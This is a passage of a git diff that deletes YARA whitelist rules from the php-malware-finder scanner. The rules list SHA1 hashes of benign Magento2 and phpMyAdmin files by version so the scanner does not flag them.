"9458004e6cbcf3bb8a46e6d3ed1a131ffce648f4" or // lib/internal/Magento/Framework/Filter/Test/Unit/TranslitTest.php - hash.sha1(0, filesize) == "90493ac76005304e9cc8b8501217417eb7f46b74" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "5df3a83a6b78c80693b0fd9b1e92c02229e02abf" or // lib/internal/Magento/Framework/Validator/Constraint/Option/Callback.php - hash.sha1(0, filesize) == "368ae2496b85f80b771dc11ddfed4a8f68db368f" or // lib/internal/Magento/Framework/Shell/Driver.php - hash.sha1(0, filesize) == "1ed9b8d05f8f0f430af2a5886a7394156809d034" or // setup/src/Magento/Setup/Model/FixtureGenerator/BundleProductGenerator.php - hash.sha1(0, filesize) == "95a42e9ce7d06999cf5c3dd764b0af88c54dff86" or // setup/src/Magento/Setup/Model/FixtureGenerator/ProductGenerator.php - hash.sha1(0, filesize) == "2523c8fc35c8664f137545e4a5ee20a431492c1b" or // vendor/phpseclib/phpseclib/phpseclib/Crypt/RSA.php - hash.sha1(0, filesize) == "9c5371ae100c7c27c02e5de69b206719a43cfc10" or // vendor/phpseclib/phpseclib/phpseclib/Math/BigInteger.php - - /* Magento2 2.1.14 */ - - /* Magento2 2.2.0 */ - hash.sha1(0, filesize) == "b6db2ab078b844581bca4a7738a09301b001a616" or // app/code/Magento/Backend/view/adminhtml/templates/store/switcher/form/renderer/fieldset/element.phtml - hash.sha1(0, filesize) == "afe78caf47645422b625a226bcc626f3c7ac2b0c" or // app/code/Magento/Backend/view/adminhtml/templates/widget/grid.phtml - hash.sha1(0, filesize) == "ce662262e8069fecf6ecccff489d3104a345c405" or // app/code/Magento/Backend/view/adminhtml/templates/widget/grid/extended.phtml - hash.sha1(0, filesize) == "14f70c016953e5666aa2ff348dd22853e876c62f" or // app/code/Magento/Backend/view/adminhtml/templates/widget/form/renderer/fieldset/element.phtml - hash.sha1(0, filesize) == "34b8bbe912147d30f987c4ee092a73e8326e7758" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "0c16b0bea0813fd8f46d2616ad456ec9fa56689e" or // app/code/Magento/Quote/Api/CartRepositoryInterface.php - hash.sha1(0, filesize) == "cd8a35413f9c1074aa1e7ec08e5618cc9536b7fa" or // app/code/Magento/Quote/Api/GuestPaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "98ffa5253645057aa3bb280ecfb50ffe3cb59afd" or // app/code/Magento/Quote/Api/PaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "0ae06d3897650908a07fe98c8cd1b7031f6e1338" or // app/code/Magento/SalesRule/Api/RuleRepositoryInterface.php - hash.sha1(0, filesize) == "207bb68440ed72255299ece2dbee10b743b39eef" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "079e6f766546e34702427f2c06f3ccb0ecb1648a" or // app/code/Magento/Sales/Api/InvoiceRepositoryInterface.php - hash.sha1(0, filesize) == "f97aa293b22bfded923f302a135dc10af84a3b87" or // app/code/Magento/Sales/Api/TransactionRepositoryInterface.php - hash.sha1(0, filesize) == "c5c618fbb4811d44d5e8e4fefd741cac1b51db92" or // app/code/Magento/Sales/Api/OrderItemRepositoryInterface.php - hash.sha1(0, filesize) == "04898244b37732984fd9a9db1fb221103e19c0f8" or // app/code/Magento/Sales/Api/ShipmentRepositoryInterface.php - hash.sha1(0, filesize) == "4a59a7a58889235c8c2e84868a8f4f6707ddb714" or // app/code/Magento/Sales/Api/CreditmemoRepositoryInterface.php - hash.sha1(0, filesize) == "1de03af3ee8742af0cf9ff92667b70c901fc363a" or // app/code/Magento/Sales/Api/OrderRepositoryInterface.php - hash.sha1(0, filesize) == "d801e2eea2127191b9b91f7d791762ba756ee8a9" or // app/code/Magento/Sales/view/adminhtml/templates/order/details.phtml - hash.sha1(0, filesize) == "ffc9afc5a809197e70f2fa674e8ae4b818481584" or // app/code/Magento/Sales/view/adminhtml/templates/order/view/items.phtml - hash.sha1(0, filesize) == "a3bd2339d5f24c3c4fed720a4cfd8aea0721c5a6" or // app/code/Magento/Sales/view/adminhtml/templates/order/view/items/renderer/default.phtml - hash.sha1(0, filesize) == "0181a2ae1439dabb2af8f2f9233b0a76afcb20fa" or // app/code/Magento/Sales/view/adminhtml/templates/order/create/items/grid.phtml - hash.sha1(0, filesize) == "b5e66ae20d0d97d6be5d9d0c1e369601874db3fe" or // app/code/Magento/Wishlist/view/frontend/templates/item/list.phtml - hash.sha1(0, filesize) == "af78073d01fd1375a1c968c423dc6c655c079a5b" or // app/code/Magento/Wishlist/view/frontend/templates/item/column/cart.phtml - hash.sha1(0, filesize) == "08fcaae7bccdf6b6e45971ed8dceabda0d6ac21b" or // app/code/Magento/SendFriend/view/frontend/templates/send.phtml - hash.sha1(0, filesize) == "01da257f9949f057e1f4aadeb1dd9237de95c99e" or // app/code/Magento/Widget/view/adminhtml/templates/catalog/category/widget/tree.phtml - hash.sha1(0, filesize) == "79148b03f41a7ca68b225bf4b55ebaf71b24a807" or // app/code/Magento/Tax/Api/TaxClassRepositoryInterface.php - hash.sha1(0, filesize) == "7372bd4e85514ec15505b5713c503858d0f2b3ee" or // app/code/Magento/Tax/Api/TaxRuleRepositoryInterface.php - hash.sha1(0, filesize) == "1818d990e5d11b0cbff9f4f087b82f519ddbdd0e" or // app/code/Magento/Tax/Api/TaxRateRepositoryInterface.php - hash.sha1(0, filesize) == "8e564e0a37cc7415242eb40f27219d8faa6b31ac" or // app/code/Magento/Checkout/view/frontend/templates/cart/item/default.phtml - hash.sha1(0, filesize) == "44c7222533b59f34b18f024d690ca0538549709f" or // app/code/Magento/Review/view/frontend/templates/customer/list.phtml - hash.sha1(0, filesize) == "40fe1c9cb835f97037a9cd658dfcaa83ba60573a" or // app/code/Magento/Captcha/view/frontend/templates/default.phtml - hash.sha1(0, filesize) == "0b021ba9ecf368d0de1322cd30204f72044fb881" or // app/code/Magento/Captcha/view/adminhtml/templates/default.phtml - hash.sha1(0, filesize) == "f2cc39f08f1d7443928602f5deeb3082e47b7694" or // app/code/Magento/Theme/Test/Unit/Model/Design/Backend/FileTest.php - hash.sha1(0, filesize) == "ad3da30d309429604417dd4b0297b4d773ff2670" or // app/code/Magento/Bundle/view/base/templates/product/price/tier_prices.phtml - hash.sha1(0, filesize) == "65527739573da193f845f9a8622004f40a128b47" or // app/code/Magento/Shipping/view/adminhtml/templates/order/tracking/view.phtml - hash.sha1(0, filesize) == "1518288cb19835a65baa67a024dd110401be0f10" or // app/code/Magento/Msrp/view/frontend/templates/render/item/price_msrp_item.phtml - hash.sha1(0, filesize) == "21ac5cc041e00fec66eec002e8e983f459254b7a" or // app/code/Magento/Msrp/view/base/templates/product/price/msrp.phtml - hash.sha1(0, filesize) == "dd796a759222f12779bef3ab3ced780c8f3d89a8" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "43ac934baf978b89030311f5a55e96d149a0e9ca" or // app/code/Magento/AdminNotification/view/adminhtml/templates/toolbar_entry.phtml - hash.sha1(0, filesize) == "e5aa32e8c86107a517d6b74067a87a41e1c0dc43" or // app/code/Magento/Reports/view/frontend/templates/widget/compared/column/compared_default_list.phtml - hash.sha1(0, filesize) == "4514dbaabb5bc4870233cd8d7b2d610c6c85bde6" or // app/code/Magento/Reports/view/frontend/templates/widget/compared/content/compared_grid.phtml - hash.sha1(0, filesize) == "01e3bc7d3eadddff9ee630ea43835b88b5218975" or // app/code/Magento/Reports/view/frontend/templates/widget/compared/content/compared_list.phtml - hash.sha1(0, filesize) == "8ba84ae0118091693c08531e7fbeb9405aeeb27b" or // app/code/Magento/Reports/view/frontend/templates/widget/viewed/column/viewed_default_list.phtml - hash.sha1(0, filesize) == "662b14890cd60c4608b7b835e634852eed1f54ca" or // app/code/Magento/Reports/view/frontend/templates/widget/viewed/column/viewed_images_list.phtml - hash.sha1(0, filesize) == "2137d2c24baa2f18f1f01c98efc0cd44b6b95cbd" or // app/code/Magento/Reports/view/frontend/templates/widget/viewed/content/viewed_list.phtml - hash.sha1(0, filesize) == "bc5b153e7c4992793ebe7202fc261585b42d934b" or // app/code/Magento/Reports/view/frontend/templates/widget/viewed/content/viewed_grid.phtml - hash.sha1(0, filesize) == "5324e08305e04a14af969c2885c304915ca8ef8a" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "da8611c59ea795d8da55cba0e2ecadec4b1980dc" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "0cf2358bfe71370b5933f697a20173f6a77966cf" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "54dae744d92fbd1e846a72acadf1a6f84fb4e4bf" or // app/code/Magento/Catalog/view/frontend/templates/product/image_with_borders.phtml - hash.sha1(0, filesize) == "da3739beeb859ec0a604b8973537223b9929f0bc" or // app/code/Magento/Catalog/view/frontend/templates/product/listing.phtml - hash.sha1(0, filesize) == "cbd37a04f47f4b41a056f64a48c20c7b3ebe1059" or // app/code/Magento/Catalog/view/frontend/templates/product/list.phtml - hash.sha1(0, filesize) == "ebb7de64e8b564c9cc2537b64873e45f8d897f9b" or // app/code/Magento/Catalog/view/frontend/templates/product/widget/new/column/new_default_list.phtml - hash.sha1(0, filesize) == "d729b49bd79eb095c2ee18840332104b6af101e5" or // app/code/Magento/Catalog/view/frontend/templates/product/widget/new/content/new_grid.phtml - hash.sha1(0, filesize) == "b73df2971f39ea069f5ff603968317d4cf0e0eeb" or // app/code/Magento/Catalog/view/frontend/templates/product/widget/new/content/new_list.phtml - hash.sha1(0, filesize) == "7bcecca698ca026a18d1c0cd6e331d4f01eb1543" or // app/code/Magento/Catalog/view/frontend/templates/product/list/items.phtml - hash.sha1(0, filesize) == "9204037f1c67ab821f39968485878197f08ebbe9" or // app/code/Magento/Catalog/view/base/templates/product/price/tier_prices.phtml - hash.sha1(0, filesize) == "7baae16a321991eff163cf6d353c3c80c181068e" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/product/attribute/options.phtml - hash.sha1(0, filesize) == "1bef553f7eb2283e8b01157976f26a0337288b9c" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/product/attribute/set/main.phtml - hash.sha1(0, filesize) == "83ab7e20e3b06491fc1955f8fc7c44d9f1da0461" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/form/renderer/fieldset/element.phtml - hash.sha1(0, filesize) == "2b3d818faf3f19e9b209214e5ae269ec56f0f767" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/category/tree.phtml - hash.sha1(0, filesize) == "af41b79ef688e3b085febdcf3c1fdcfac2a52604" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/category/widget/tree.phtml - hash.sha1(0, filesize) == "3eda25a37ba1020ed42cf8473f21939675431823" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "d3c540171d56f22ba4b56d54bfca2b9b9237d5c9" or // app/code/Magento/CatalogSearch/view/frontend/templates/result.phtml - hash.sha1(0, filesize) == "ccc3f04e8cbd3c16a047ef32ddd027949074923d" or // app/code/Magento/GroupedProduct/view/adminhtml/templates/catalog/product/composite/fieldset/grouped.phtml - hash.sha1(0, filesize) == "9972746ccc65347da99374bff4c0db476918a025" or // app/code/Magento/Eav/Api/AttributeSetRepositoryInterface.php - hash.sha1(0, filesize) == "ffe737082a4b67be6fecf8a49bcd9f9be2a4ebc9" or // dev/tests/js/JsTestDriver/run_js_tests.php - hash.sha1(0, filesize) == "6f0496267604509f0b503df35e457402c52efc60" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "8575bd806d0585be272180dd48e9bb29bd23bd41" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "6f6fc4f538cadc28ddd6c34b0b621e1d1f3694be" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "43a229164a52722b65e342fefe66384c376fc3e6" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "5ff6371675c12bcb8220e4e7ae2de389cf93c9b0" or // lib/web/tiny_mce/tiny_mce_jquery_src.js - hash.sha1(0, filesize) == "1cf08f4739f91ac22a1db82b2fbf5371c5dced70" or // lib/web/tiny_mce/tiny_mce_prototype_src.js - hash.sha1(0, filesize) == "1c6d46cc48f55aeee643ac8dfb81307c538240ee" or // lib/web/tiny_mce/tiny_mce_src.js - hash.sha1(0, filesize) == "87afdc3d9e944d395a589228fd67d21e88a88546" or // lib/internal/Magento/Framework/Shell.php - hash.sha1(0, filesize) == "66689eb745afaccd13b86a635663a70c68979839" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "cc769ea55968156fe55010ec8f342f326c4892bf" or // lib/internal/Magento/Framework/Filter/Test/Unit/TranslitTest.php - hash.sha1(0, filesize) == "af2c52546d499780ffab9305c09712c226153b30" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "637424f32393446c14e84e5ccdc523b799d5a62c" or // lib/internal/Magento/Framework/Shell/Driver.php - hash.sha1(0, filesize) == "a4eea004d560338df63eb552c5255ec0956b447a" or // setup/src/Magento/Setup/Model/FixtureGenerator/BundleProductGenerator.php - hash.sha1(0, filesize) == "b4b7e15e1c2586281bc859487e175bf162ad09a8" or // vendor/friendsofphp/php-cs-fixer/CHANGELOG.md - hash.sha1(0, filesize) == "a3bb9711fc5f3fd102e83a784b18fbecbdf51e56" or // vendor/friendsofphp/php-cs-fixer/src/Tokenizer/Transformer/CurlyBraceTransformer.php - hash.sha1(0, filesize) == "30ca0624b916566d59d375f8dcb981fe0bbe80fe" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocAlignFixer.php - hash.sha1(0, filesize) == "b40c17220eb892683bdbe49dafb99f3544b9707a" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocSummaryFixer.php - hash.sha1(0, filesize) == "b578dadd560b9fa5e6c7cc534e43c58b933d0ee8" or // vendor/zendframework/zend-config/src/Reader/Json.php - hash.sha1(0, filesize) == "d0f531929accaa989747bce64e5d1d18619c266d" or // vendor/zendframework/zend-config/src/Reader/Yaml.php - hash.sha1(0, filesize) == "c3efc47e0a6f3d2ce786d65903ba4bf7b18b8465" or // vendor/zendframework/zend-config/src/Reader/Ini.php - hash.sha1(0, filesize) == "8e0199d56990d9548e906c7f43d8b6a0acc91b09" or // vendor/zendframework/zend-config/src/Reader/JavaProperties.php - hash.sha1(0, filesize) == "49005b49d6358ba62e1e63b062549e6be44e84c5" or // vendor/zendframework/zend-i18n/src/Validator/IsFloat.php - hash.sha1(0, filesize) == "7ebb06e9d13316c1b9014d89a80335a5801534de" or // vendor/zendframework/zend-view/src/Helper/Navigation/AbstractHelper.php - hash.sha1(0, filesize) == "2a8ad0ada4579b7a093258b53fd654726a39b82f" or // vendor/zendframework/zend-soap/src/Client.php - hash.sha1(0, filesize) == "5d0abe2949deabd3c8402a53e1335ec1a1a10a7a" or // vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php - hash.sha1(0, filesize) == "679d1e5f586fd2c0604d49035d07ee76fa80b4eb" or // vendor/symfony/console/Application.php - hash.sha1(0, filesize) == "c77c8aa209d8ce38742a83a569b37d2c4d86960a" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "dcc4d118f3df90212cc0f83562a6526b57839510" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/Arrays/DisallowLongArraySyntaxUnitTest.inc - hash.sha1(0, filesize) == "ce5d95770d202ca5ca20351d0809c44973614361" or // vendor/squizlabs/php_codesniffer/src/Reports/Emacs.php - hash.sha1(0, filesize) == "32f8aa52981b30d5b6b9ad3064e6c4835292611e" or // vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ApproximateValueToken.php - hash.sha1(0, filesize) == "83f41387b29273eb40aefd1135e9e361c867631d" or // vendor/paragonie/random_compat/lib/random.php - hash.sha1(0, filesize) == "c4d30424cccf6ec0f7419ee7a5f23db7a7c4b4e5" or // vendor/composer/composer/src/Composer/Util/Git.php - hash.sha1(0, filesize) == "27e9cf7038646a28442aa46d37a28ec8e8716df1" or // vendor/composer/composer/src/Composer/Console/Application.php - hash.sha1(0, filesize) == "9e225727717be62c96ce263044b4a26368d6b1f8" or // vendor/composer/composer/src/Composer/Json/JsonManipulator.php - hash.sha1(0, filesize) == "dfe5659d01d976f2c204d7d38f24202747a7249f" or // vendor/composer/composer/src/Composer/Command/ShowCommand.php - hash.sha1(0, filesize) == "d2d335780856a9bb3e75aa80d955455866dd9918" or // vendor/composer/composer/src/Composer/Command/ConfigCommand.php - hash.sha1(0, filesize) == "3f3e243765fc816c8b654cd2eeb31ccbfffd876c" or // vendor/sebastian/environment/src/Console.php - hash.sha1(0, filesize) == "1f7106a3fecd6a51f579d358089fc57a8249b6bd" or // vendor/phpunit/phpunit/src/Util/Log/TeamCity.php - - /* Magento2 2.2.1 */ - hash.sha1(0, filesize) == "7b4ca1bdf6da1b74bbb0e79cd5dca7e9358736fc" or // vendor/symfony/console/Application.php - hash.sha1(0, filesize) == "793f57e591242b263cdb8f438b487218eb222602" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - - /* Magento2 2.2.2 */ - hash.sha1(0, filesize) == "5c9d6542625efa7d9598d8670810fb4d2348c372" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "1ef0a76c00bbb37bbfc517675da2e6e75d6c69a4" or // app/code/Magento/Catalog/view/frontend/templates/product/list/items.phtml - hash.sha1(0, filesize) == "bd9313c7fbeba61c905a3b9c13000d3c5316aa9c" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/category/tree.phtml - hash.sha1(0, filesize) == "cbe1572a603dad3fbdaace2c9aeaf437db0c399d" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "0fc99eccb4f7e3841f1f05a3acd274f44d07d784" or // vendor/friendsofphp/php-cs-fixer/CHANGELOG.md - hash.sha1(0, filesize) == "f897f0201b4182cb13eb4fb07e6f685134f79e1d" or // vendor/friendsofphp/php-cs-fixer/src/Tokenizer/Transformer/CurlyBraceTransformer.php - hash.sha1(0, filesize) == "18ceffbba547979679a41af4e1a1fb50673b521b" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocAlignFixer.php - hash.sha1(0, filesize) == "77d1c0c1403658f3b695ea297c62d3123a2d2afa" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocSummaryFixer.php - hash.sha1(0, filesize) == "767c952605047fe1d2b6cde9ea959fa7419bf446" or // vendor/symfony/console/Application.php - hash.sha1(0, filesize) == "e806c939435bf2184070293d5f0e5786b0e260e4" or // vendor/squizlabs/php_codesniffer/src/Standards/Squiz/Tests/Arrays/ArrayDeclarationUnitTest.1.inc - hash.sha1(0, filesize) == "1e60b0a55c7010e44d1984dd3429faae582d66ab" or // vendor/squizlabs/php_codesniffer/src/Standards/Squiz/Tests/Arrays/ArrayDeclarationUnitTest.1.inc.fixed - - /* Magento2 2.2.3 */ - hash.sha1(0, filesize) == "3d02e278b1aa38f9bc8ac8ce11a2b7507c67c4db" or // app/code/Magento/Checkout/view/frontend/templates/cart/item/default.phtml - hash.sha1(0, filesize) == "097a07a8a48dcd13a0c3b8125b3b41fa5b89aeba" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "ec460f47a07de4973809bf83892325a053ab79d1" or // app/code/Magento/Catalog/view/frontend/templates/product/list.phtml - hash.sha1(0, filesize) == "9bbeb014444ce6c87048116cd3ac6b0cf1cf7c76" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/product/attribute/set/main.phtml - hash.sha1(0, filesize) == "5442561bcc0385b43e0fe5a68ccf98bbdec5ca72" or // vendor/friendsofphp/php-cs-fixer/CHANGELOG.md - hash.sha1(0, filesize) == "bea5262b4308701259351b7d7ebbb718fedb60cb" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocAlignFixer.php - hash.sha1(0, filesize) == "c1ca941e582ca86847dde4197d6369dd48adc895" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocSummaryFixer.php - hash.sha1(0, filesize) == "a33b73c4bb7d6b481092b146c92f2ce76971783e" or // vendor/zendframework/zend-soap/src/Client.php - hash.sha1(0, filesize) == "33f2a3d42332b90bd774681ea1a35645f18e6613" or // vendor/symfony/console/Application.php - hash.sha1(0, filesize) == "e9a33f8a16f28125962bdcd2fd692171cb5e50e7" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/WhiteSpace/ScopeIndentUnitTest.2.inc.fixed - hash.sha1(0, filesize) == "6148ebd6cb92f7d126f584cc28bc2dae00d420f8" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/WhiteSpace/ScopeIndentUnitTest.1.inc.fixed - hash.sha1(0, filesize) == "1e6dfa2f9ca1655679ef3372b9b5adecf7950250" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/WhiteSpace/ScopeIndentUnitTest.2.inc - hash.sha1(0, filesize) == "b6558129f141c2872fd3bababa30fa2197f464c8" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/WhiteSpace/ScopeIndentUnitTest.1.inc - hash.sha1(0, filesize) == "dcc4d118f3df90212cc0f83562a6526b57839510" or // vendor/squizlabs/php_codesniffer/src/Standards/Generic/Tests/Arrays/DisallowLongArraySyntaxUnitTest.1.inc - hash.sha1(0, filesize) == "e6916494d90eab4a3cb2cd60cecdbeb606c78036" or // vendor/squizlabs/php_codesniffer/src/Standards/Squiz/Tests/WhiteSpace/OperatorSpacingUnitTest.inc - hash.sha1(0, filesize) == "0125f48763b161a35ede5618b3fa554061a64ed6" or // vendor/squizlabs/php_codesniffer/src/Standards/Squiz/Tests/WhiteSpace/OperatorSpacingUnitTest.inc.fixed - - /* Magento2 2.2.4 */ - hash.sha1(0, filesize) == "f023851dc5ec2d325b9b29b202afc79e487adeff" or // app/code/Magento/Backend/view/adminhtml/templates/widget/grid/extended.phtml - hash.sha1(0, filesize) == "7991cdeefa71c33b030c8146c547b56bf19a35b6" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "a4c0e1b01b752273f623267773d4b0941f5ec91f" or // app/code/Magento/Captcha/view/frontend/templates/default.phtml - hash.sha1(0, filesize) == "2f4f179b463d43d7125c0edf96207cdaac0d3553" or // app/code/Magento/Captcha/view/adminhtml/templates/default.phtml - hash.sha1(0, filesize) == "88688495df8a381a7e2f8c7d78244dc5aa3e449f" or // app/code/Magento/Catalog/view/frontend/templates/product/list/items.phtml - hash.sha1(0, filesize) == "bc14eb76d717597ea55e5a059ac9027f9e37c41e" or // app/code/Magento/Catalog/view/adminhtml/templates/catalog/product/attribute/options.phtml - hash.sha1(0, filesize) == "f5ff153b3ce5fe74d8555fafc7c4f5b338e72cd9" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "94295c58e11d35c4384bd5533a56b251b3a9f899" or // app/code/Magento/CatalogWidget/view/frontend/templates/product/widget/content/grid.phtml - hash.sha1(0, filesize) == "caa1cdbac108de22eb304a1001b6387d66d3c8d1" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "554d4e860b7c9ac7e748634db8f2ce7d8a84de34" or // vendor/friendsofphp/php-cs-fixer/CHANGELOG.md - hash.sha1(0, filesize) == "771f8a7b6cefa10280c8ca3664a481b89f97dc51" or // vendor/friendsofphp/php-cs-fixer/src/Tokenizer/Transformer/CurlyBraceTransformer.php - hash.sha1(0, filesize) == "2c86d6b8985585facf4b82b459129890e67a8585" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocAlignFixer.php - hash.sha1(0, filesize) == "205f447fdd5382d4cec93066916bc36593117b89" or // vendor/paragonie/random_compat/lib/random.php - - /* Magento2 2.2.5 */ - hash.sha1(0, filesize) == "896c509fd0d3a1b2c5c68a31078c07227012ad87" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "fdf2c68d82619b50dcbb254cc1378c7ae19fc410" or // vendor/friendsofphp/php-cs-fixer/CHANGELOG.md - hash.sha1(0, filesize) == "0c4aaf74d31d6553acdee867a44439f7b2e58c01" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocAlignFixer.php - hash.sha1(0, filesize) == "e2615e1467ebca61785a35d1f3716fd144722527" or // vendor/friendsofphp/php-cs-fixer/src/Fixer/Phpdoc/PhpdocSummaryFixer.php - hash.sha1(0, filesize) == "163720043b85199587fd2183a1311dacb3cec5c1" or // vendor/paragonie/random_compat/lib/random.php - - false -} diff --git a/php-malware-finder/whitelists/phpmyadmin.yar b/php-malware-finder/whitelists/phpmyadmin.yar deleted file mode 100644 index b0fc167..0000000 --- a/php-malware-finder/whitelists/phpmyadmin.yar +++ /dev/null @@ -1,93 +0,0 @@ -import "hash" - -private rule Phpmyadmin -{ - meta: - generated = "2018-05-30T12:35:38.661805" - - condition: - /* Phpmyadmin 4.0.0 */ - hash.sha1(0, filesize) == "1055b5023001d995d1a42e9e25731b621b3a1b78" or // libraries/plugins/auth/swekey/swekey.auth.lib.php - hash.sha1(0, filesize) == "df4108af17881e331feeeeef9ec35ef4b2fff87c" or // libraries/select_lang.lib.php - hash.sha1(0, filesize) == "534f0c81f69b78a3c0cd64748f55d86effa94d96" or // server_databases.php - hash.sha1(0, filesize) == "1f1d01182cf376eb7cc463cb67334c98166f3033" or // libraries/build_html_for_db.lib.php - hash.sha1(0, filesize) == "ca17eb55ded8f62e7339e20d699f1e43a52df778" or // pmd_relation_upd.php - hash.sha1(0, filesize) == "82cff5aa0109bab26bd5e53f9928fa8cb1d21d18" or // locale/da/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "0401e8fdf617610e6da72c8a75c7ff0bf0e2a1e7" or // pmd_relation_new.php - hash.sha1(0, filesize) == "be3ea7a4f914387dc71531c2479867ee65dfe947" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "8b2f9bb37f25ed57bb7497d4dc9c98a042dd367e" or // gis_data_editor.php - hash.sha1(0, filesize) == "0e76cbda3599c8139f6a8a5c6c17f6abc3835397" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "a4e970da05605cfe12b0897c111e475bb1ceeea3" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "2905b3fe33a09435b76675a8728e461f3ac5f9e0" or // doc/html/_sources/faq.txt - hash.sha1(0, filesize) == "68c477fe016abd4236ee25717c7c736d400f1b58" or // libraries/DisplayResults.class.php - hash.sha1(0, filesize) == "2905b3fe33a09435b76675a8728e461f3ac5f9e0" or // doc/faq.rst - - /* Phpmyadmin 4.0.1 */ - hash.sha1(0, filesize) == "8a47d5c1f34e15094d4a6264cda406b943e021c4" or // locale/sl/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "75f8ad7de654ad3bbc274528996a954bcc1785bc" or // locale/ja/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "833ccf4a4016a1b9594db0469f22e08688ef345a" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "40d47a7e9786f77e63ffeb444cd529e88e22498f" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "4e93c2797c64b3754694b69d3135e7a09f805a86" or // libraries/DisplayResults.class.php - - /* Phpmyadmin 4.0.2 */ - hash.sha1(0, filesize) == "9354e4058a1efa8aa73918eb2bd45f5cd8777485" or // locale/ko/LC_MESSAGES/phpmyadmin.mo - hash.sha1(0, filesize) == "7aa5c4d0e51d219ebba86ddc644dca0355e5f6cd" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "73efef4f340f00aa2823cf575c30d5fd63d571cc" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "ee8b1d455efa66a92ce3025d7c79758cb2767e76" or // libraries/DisplayResults.class.php - - /* Phpmyadmin 4.0.3 */ - hash.sha1(0, filesize) == "72e309407d3a741f9345cc252d8853013909c1cb" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "70ab1c6ebdcc383fa12e68b24dff205cc313761a" or // doc/doctrees/config.doctree - - /* Phpmyadmin 4.0.4 */ - hash.sha1(0, filesize) == "ba8247bedab84b62d23998eb96be6f2a92d4d1bc" or // libraries/select_lang.lib.php - hash.sha1(0, filesize) == "6feca5c241e41d8fdcfb0f9104f06fc27414206e" or // doc/doctrees/faq.doctree - hash.sha1(0, filesize) == "5d01bc6404187356a5428ea392dda0304f5a06be" or // doc/doctrees/config.doctree - hash.sha1(0, filesize) == "dfa5d49a57c3849589d7db123850fe22efe0e421" or // doc/html/_sources/faq.txt - hash.sha1(0, filesize) == "dfa5d49a57c3849589d7db123850fe22efe0e421" or // doc/faq.rst - - /* Phpmyadmin 4.0.5 */ - hash.sha1(0, filesize) == "8690e479b31ee1705de8fd654eed504ea86255d6" or // libraries/plugins/auth/swekey/swekey.auth.lib.php - hash.sha1(0, filesize) == "0fa37a1808b87318af1c8b909515926ea908e20d" or // server_databases.php - hash.sha1(0, filesize) == "08b9be901a1cad1910f909b0c3308c80179faea8" or // 